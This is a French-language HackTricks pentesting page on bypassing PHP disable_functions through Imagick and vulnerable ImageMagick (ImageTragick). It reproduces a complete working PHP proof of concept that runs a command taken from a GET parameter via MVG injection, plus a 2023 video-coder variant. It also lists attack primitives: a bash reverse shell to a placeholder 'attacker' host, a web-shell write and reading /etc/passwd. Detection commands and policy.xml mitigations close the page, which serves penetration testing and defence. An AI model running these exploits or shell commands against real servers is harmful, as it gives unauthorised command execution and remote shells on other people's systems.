Imagick <= 3.3.0 ‑ PHP >= 5.4 disable_functions Bypass

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

La famille de bugs bien connue ImageTragick (CVE-2016-3714 et al.) permet à un attaquant d'accéder au binaire sous-jacent ImageMagick via des entrées MVG/SVG conçues. Lorsque l'extension PHP Imagick est présente, cela peut être exploité pour exécuter des commandes shell même si toutes les fonctions PHP orientées exécution sont mises sur liste noire avec disable_functions.

Le PoC original publié par RicterZ (Chaitin Security Research Lab) en mai 2016 est reproduit ci-dessous. La technique est encore régulièrement rencontrée lors des audits contemporains de PHP 7/8 car de nombreux fournisseurs d'hébergement partagé compilent simplement PHP sans exec/system mais conservent une combinaison Imagick + ImageMagick obsolète.

From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

php
# Exploit Title : PHP Imagick disable_functions bypass
# Exploit Author: RicterZ  (ricter@chaitin.com)
# Versions      : Imagick <= 3.3.0  |  PHP >= 5.4
# Tested on     : Ubuntu 12.04 (ImageMagick 6.7.7)
# Usage         : curl "http://target/exploit.php?cmd=id"
<?php
// Print the local hardening status
printf("Disable functions: %s\n", ini_get("disable_functions"));
$cmd = $_GET['cmd'] ?? 'id';
printf("Run command: %s\n====================\n", $cmd);

$tmp   = tempnam('/tmp', 'pwn');     // will hold command output
$mvgs  = tempnam('/tmp', 'img');     // will hold malicious MVG script

$payload = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/x.jpg"|$cmd >$tmp")'
pop graphic-context
EOF;

file_put_contents($mvgs, $payload);
$img = new Imagick();
$img->readImage($mvgs);     // triggers convert(1)
$img->writeImage(tempnam('/tmp', 'img'));
$img->destroy();

echo file_get_contents($tmp);
?>

Pourquoi cela fonctionne-t-il ?

  1. Imagick::readImage() lance de manière transparente le binaire delegate ImageMagick (convert/magick).
  2. Le script MVG définit le fill sur une URI externe. Lorsqu'une double citation (") est injectée, le reste de la ligne est interprété par /bin/sh ‑c que ImageMagick utilise en interne → exécution de shell arbitraire.
  3. Tout se passe en dehors de l'interpréteur PHP, donc disable_functions, open_basedir, safe_mode (supprimé dans PHP 5.4) et d'autres restrictions similaires en cours de traitement sont complètement contournées.

État de 2025 – c'est toujours pertinent

  • Toute version d'Imagick qui repose sur un backend ImageMagick vulnérable reste exploitable. Dans des tests en laboratoire, la même charge utile fonctionne sur PHP 8.3 avec Imagick 3.7.0 et ImageMagick 7.1.0-51 compilé sans un policy.xml durci.
  • Depuis 2020, plusieurs vecteurs d'injection de commandes supplémentaires ont été trouvés (video:pixel-format, ps:, text: coders…). Deux exemples publics récents sont :
  • CVE-2020-29599 – injection de shell via le coder text:.
  • GitHub issue #6338 (2023) – injection dans le video: delegate.

Si le système d'exploitation fournit ImageMagick < 7.1.1-11 (ou 6.x < 6.9.12-73) sans un fichier de politique restrictif, l'exploitation est simple.

Variantes modernes de charge utile

php
// --- Variant using the video coder discovered in 2023 ---
$exp = <<<MAGICK
push graphic-context
image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy'
pop graphic-context
MAGICK;
$img = new Imagick();
$img->readImageBlob($exp);

Autres primitives utiles lors des CTF / engagements réels :

  • Écriture de fichier... > /var/www/html/shell.php (écrire un web-shell en dehors de open_basedir)
  • Reverse shellbash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"
  • Énumérerid; uname -a; cat /etc/passwd

Détection rapide & énumération

bash
# PHP side
php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";'

# System side
convert -version | head -1                 # ImageMagick version
convert -list policy | grep -iE 'mvg|https|video|text'   # dangerous coders still enabled?

Si la sortie montre que les codeurs MVG ou URL sont activés, la cible est probablement exploitable.

Atténuations

  1. Patch/Mise à jour – Utilisez ImageMagick ≥ 7.1.1-11 (ou la dernière version 6.x LTS) et Imagick ≥ 3.7.2.
  2. Renforcez policy.xml – désactivez explicitement les codeurs à haut risque :
xml
<policy domain="coder" name="MVG" rights="none"/>
<policy domain="coder" name="MSL" rights="none"/>
<policy domain="coder" name="URL" rights="none"/>
<policy domain="coder" name="VIDEO" rights="none"/>
<policy domain="coder" name="PS" rights="none"/>
<policy domain="coder" name="TEXT" rights="none"/>
  1. Supprimez l'extension dans des environnements d'hébergement non fiables. Dans la plupart des piles web, GD ou Imagick n'est pas strictement nécessaire.
  2. Traitez disable_functions uniquement comme une défense en profondeur – jamais comme un mécanisme de bac à sable principal.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks